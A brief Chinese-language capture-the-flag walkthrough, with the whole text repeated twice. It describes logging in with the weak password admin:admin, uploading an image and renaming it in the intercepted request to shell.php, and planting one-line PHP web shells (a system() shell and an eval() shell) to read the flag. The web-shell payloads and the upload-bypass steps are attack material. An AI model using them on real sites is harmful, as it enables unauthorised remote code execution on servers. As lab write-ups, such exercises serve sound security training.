进入登陆页面我们弱口令admin:admin登录成功;
登录后我们进入user目录上传图片;
我们上传shell.png,抓包修改为shell.php;
<?php system($_GET(1));?>
or
<?php @eval($_POST[cnm]);?>
上传成功后,找到图片所在位置进而获取flag
进入登陆页面我们弱口令admin:admin登录成功;
登录后我们进入user目录上传图片;
我们上传shell.png,抓包修改为shell.php;
<?php system($_GET(1));?>
or
<?php @eval($_POST[cnm]);?>
上传成功后,找到图片所在位置进而获取flag